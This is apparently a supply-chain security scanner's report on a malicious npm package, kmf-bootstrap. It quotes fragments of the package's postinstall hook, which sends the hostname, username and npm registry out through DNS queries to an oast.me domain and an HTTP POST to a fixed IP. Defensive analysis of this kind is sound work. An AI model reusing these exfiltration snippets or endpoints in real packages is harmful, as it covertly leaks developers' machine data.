registry / Data exfiltration / kmf-bootstrap

kmf-bootstrap

Frontend utilities

This report shows the evidence for kmf-bootstrap@100.100.103. 5 of 5 known versions are blocked or flagged. The newest version, 100.100.106, is blocked. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 13d ago · by lpm-firewall-ai

The automatic postinstall hook performs external DNS reporting and, on addon-load failure, posts identifying machine and npm environment data to a fixed IP. This is concrete install-time data exfiltration and supports blocking the package.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Package installation runs the postinstall script; the HTTP metadata transmission is reached when the native addon load fails.

Impact

Machine and environment metadata is disclosed to an external party.

Mechanism

The hook places hostname and package name in DNS query labels, then on addon-load failure sends hostname, username, package name, and npm registry in an HTTP POST.

Attack narrative

During installation, the postinstall hook sends the machine hostname and package name through DNS queries to an external domain. If loading the native addon fails, it collects the username and npm registry setting and posts those values, along with hostname and package name, to a fixed external IP. The observed behavior is active metadata exfiltration from the install lifecycle.

AI rationale

Evidence

package.jsonpostinstall.js

Network endpoints2

db4jlbku53082dmp0d7g3mffj7s7aordk.oast.me64.181.165.115:80/dc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs postinstall.js automatically during installation.
postinstall.js encodes the machine hostname and package name into a DNS query to a fixed external domain.
If the native addon load fails, postinstall.js collects the hostname, username, package name, and npm registry, then posts them to a fixed external IP.
index.js exports an empty object; the observed collection and network behavior is in the install hook.

Evidence against

Behavioral surface

Source

DynamicRequireEnvironmentVars

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.19 KB of source

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node postinstall.js" }, "lic

High

Suspicious Lifecycle Evidence

package.json runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

2try { L3: var d=require('dns'),o=require('os'); L4: var h=(o.hostname()||'h').replace(/[^a-z0-9]/gi,'-').toLowerCase().slice(0,30); L5: var p=(process.env.npm[redacted]||'p').replace(/[^a-z0-9]/gi,'-').slice(0,20); L6: var cb=h+'.'+p+'.[redacted].oast.me'; ... L21: req.on('error',function(){}); L22: req.write(body);req.end(); L23: }catch(_){}

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

postinstall.jsView on unpkg · L2

•Trigger-reachable chain: scripts.postinstall -> postinstall.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg

4ame()||'h').replace(/[^a-z0-9]/gi,'-').toLowerCase().slice(0,30); var p=(process.env.npm[redacted]||'p').replace(/[^a-z0-9]/gi,'-').slice(0,20); var cb=h+'.'+p+'.[redacted].oast.me';

High

Suspicious Lifecycle Evidence

postinstall.js encodes the machine hostname and package name into a DNS query to a fixed external domain.

postinstall.jsView on unpkg · L4

14var reg=process.env.npm[redacted]||''; var usr='';try{usr=o.userInfo().username;}catch(_){} var body='h='+encodeURIComponent(o.hostname())+'&u='+encodeURIComponent(usr)+'&p='+encodeURIComponent(pkg)+'&r='+encodeURIComponent(reg); var req=n.request({host:[64,181,165,115].join('.'),port:80,path:'/dc',method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded','Content-Length':Buffer.byteLeng

High

Suspicious Lifecycle Evidence

If the native addon load fails, postinstall.js collects the hostname, username, package name, and npm registry, then posts them to a fixed external IP.

postinstall.jsView on unpkg · L14

2try { L3: var d=require('dns'),o=require('os'); L4: var h=(o.hostname()||'h').replace(/[^a-z0-9]/gi,'-').toLowerCase().slice(0,30);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

postinstall.jsView on unpkg · L2

prebuilds/linux-x64/addon.nodeView file

•path = prebuilds/linux-x64/addon.node kind = native_binary sizeBytes = 16464 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

prebuilds/linux-x64/addon.nodeView on unpkg

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node postinstall.js" }, "lic

High

Suspicious Lifecycle Evidence

package.json runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

2 Critical4 High5 Medium1 Low

CriticalDns Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumDynamic Requirepostinstall.js

MediumEnvironment Vars

MediumShips Native Binaryprebuilds/linux-x64/addon.node

MediumStructural Risk Force Deep Review

LowScripts Present

Affected versions and remediation

This report applies to kmf-bootstrap@100.100.103.

The versions list below shows the verdict for each recorded version.

Avoid installing kmf-bootstrap@100.100.103. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-11 14:30:09.336Z (UTC).

Source advisory published: 2026-10-09 19:10:34.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

100.100.106latestMaliciousMalwareBlockPublishedOct 9, 2026, 9:25 PM 100.100.103shownMaliciousData ExfiltrationBlockPublishedOct 9, 2026, 7:14 PM 100.100.102MaliciousData ExfiltrationBlockPublishedOct 9, 2026, 7:06 PM 100.100.101MaliciousMalwareBlockPublishedOct 9, 2026, 6:49 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code